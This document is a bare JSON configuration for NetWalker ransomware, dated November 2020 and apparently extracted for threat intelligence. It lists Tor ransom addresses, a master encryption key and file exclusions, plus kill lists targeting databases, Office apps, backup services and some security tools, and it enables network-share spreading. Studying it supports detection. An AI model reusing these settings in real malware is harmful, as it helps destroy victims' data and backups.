Netwalker Config Nov2020

{
  "mpk": "NfSiTdTJfXIRvHlwijBxJW0BLqFkRazRhS3vC9EBmkY=",
  "mode": 0,
  "spsz": 15360,
  "thr": 1500,
  "idsz": 6,
  "encname": false,
  "onion1": "pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion",
  "onion2": "rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion",
  "lfile": "{id}-Readme.txt",
  "lend": "<Redacted>",
  "white": {
    "path": [
      "*system volume information",
      "*windows.old",
      "*:\\users\\*\\*temp",
      "*msocache",
      "*:\\winnt",
      "*$windows.~ws",
      "*perflogs",
      "*boot",
      "*:\\windows",
      "*:\\program file*\\vmware",
      "\\\\*\\users\\*\\*temp",
      "\\\\*\\winnt",
      "\\\\*\\windows",
      "*\\program file*\\vmware",
      "*appdata*microsoft",
      "*appdata*packages",
      "*microsoft\\provisioning",
      "*dvd maker",
      "*Internet Explorer",
      "*Mozilla",
      "*Mozilla*",
      "*Old Firefox data",
      "*\\program file*\\windows media*",
      "*\\program file*\\windows portable*",
      "*windows defender",
      "*\\program file*\\windows nt",
      "*\\program file*\\windows photo*",
      "*\\program file*\\windows side*",
      "*\\program file*\\windowspowershell",
      "*\\program file*\\cuass*",
      "*\\program file*\\microsoft games",
      "*\\program file*\\common files\\system",
      "*\\program file*\\common files\\*shared",
      "*\\program file*\\common files\\reference ass*",
      "*\\windows\\cache*",
      "*temporary internet*",
      "*media player",
      "*:\\users\\*\\appdata\\*\\microsoft",
      "\\\\*\\users\\*\\appdata\\*\\microsoft",
      "*\\Program File*\\Cisco"
    ],
    "file": [
      "ntuser.dat*",
      "iconcache.db",
      "gdipfont*.dat",
      "ntuser.ini",
      "usrclass.dat",
      "usrclass.dat*",
      "boot.ini",
      "bootmgr",
      "bootnxt",
      "desktop.ini",
      "ntuser.dat",
      "autorun.inf",
      "ntldr",
      "thumbs.db",
      "bootsect.bak",
      "bootfont.bin"
    ],
    "ext": [
      "msp",
      "exe",
      "sys",
      "msc",
      "mod",
      "clb",
      "mui",
      "regtrans-ms",
      "theme",
      "hta",
      "shs",
      "nomedia",
      "diagpkg",
      "cab",
      "ics",
      "msstyles",
      "cur",
      "drv",
      "icns",
      "diagcfg",
      "dll",
      "ocx",
      "lnk",
      "ico",
      "idx",
      "ps1",
      "mpa",
      "cpl",
      "icl",
      "msu",
      "msi",
      "nls",
      "scr",
      "adv",
      "386",
      "com",
      "hlp",
      "rom",
      "lock",
      "386",
      "wpx",
      "ani",
      "prf",
      "rtp",
      "ldf",
      "key",
      "diagcab",
      "cmd",
      "spl",
      "deskthemepack",
      "bat",
      "themepack"
    ],
    "extfree": [
      "jpg",
      "jpeg",
      "png",
      "bmp",
      "doc",
      "docx"
    ]
  },
  "kill": {
    "use": true,
    "prc": [
      "nslsvice.exe",
      "pg*",
      "nservice.exe",
      "cbvscserv*",
      "ntrtscan.exe",
      "cbservi*",
      "hMailServer*",
      "IBM*",
      "bes10*",
      "black*",
      "apach*",
      "bd2*",
      "db*",
      "ba*",
      "be*",
      "QB*",
      "oracle*",
      "wbengine*",
      "vee*",
      "postg*",
      "sage*",
      "sap*",
      "b1*",
      "fdlaunch*",
      "msmdsrv*",
      "report*",
      "msdtssr*",
      "coldfus*",
      "cfdot*",
      "swag*",
      "swstrtr*",
      "jetty.exe",
      "wrsa.exe",
      "team*",
      "agent*",
      "store.exe",
      "sql*",
      "sqbcoreservice.exe",
      "thunderbird.exe",
      "ocssd.exe",
      "encsvc.exe",
      "excel.exe",
      "synctime.exe",
      "mspub.exe",
      "ocautoupds.exe",
      "thebat.exe",
      "dbeng50.exe",
      "*sql*",
      "mydesktopservice.exe",
      "onenote.exe",
      "outlook.exe",
      "powerpnt.exe",
      "msaccess.exe",
      "tbirdconfig.exe",
      "wordpad.exe",
      "ocomm.exe",
      "dbsnmp.exe",
      "thebat64.exe",
      "winword.exe",
      "oracle.exe",
      "xfssvccon.exe",
      "firefoxconfig.exe",
      "visio.exe",
      "mydesktopqos.exe",
      "infopath.exe",
      "agntsvc.exe"
    ],
    "svc": [
      "Lotus*",
      "veeam*",
      "cbvscserv*",
      "hMailServer",
      "backup*",
      "*backup*",
      "apach*",
      "firebird*",
      "ibmiasrw",
      "IBM Domino*",
      "Simply Accounting Database Connection Manager",
      "IASJet",
      "QB*",
      "*sql*",
      "sql*",
      "QuickBooksDB*",
      "IISADMIN",
      "omsad",
      "dc*32",
      "server Administrator",
      "wbengine",
      "mr2kserv",
      "MSExchange*",
      "ShadowProtectSvc",
      "SP*4",
      "teamviewer",
      "MMS",
      "AcronisAgent",
      "ARSM",
      "AcrSch2Svc",
      "vsnapvss",
      "SPXService",
      "StorageCraft ImageManager",
      "wrsvc",
      "stc_endpt_svc",
      "acrsch2svc*"
    ],
    "svcwait": 0,
    "task": [
      "reboot",
      "restart",
      "shutdown",
      "logoff",
      "back"
    ]
  },
  "net": {
    "use": true,
    "ignore": {
      "use": true,
      "disk": true,
      "share": [
        "ipc$",
        "admin$"
      ]
    }
  },
  "unlocker": {
    "use": true,
    "ignore": {
      "use": true,
      "pspath": [
        "*:\\windows*",
        "*:\\winnt*",
        "*:\\program file*\\vmwar*",
        "*\\Program File*\\Fortinet",
        "*\\Program File*\\Cisco"
      ],
      "prc": [
        "psexec.exe",
        "system",
        "forti*.exe",
        "fmon.exe",
        "fcaptmon.exe",
        "FCHelper64.exe"
      ]
    }
  }
}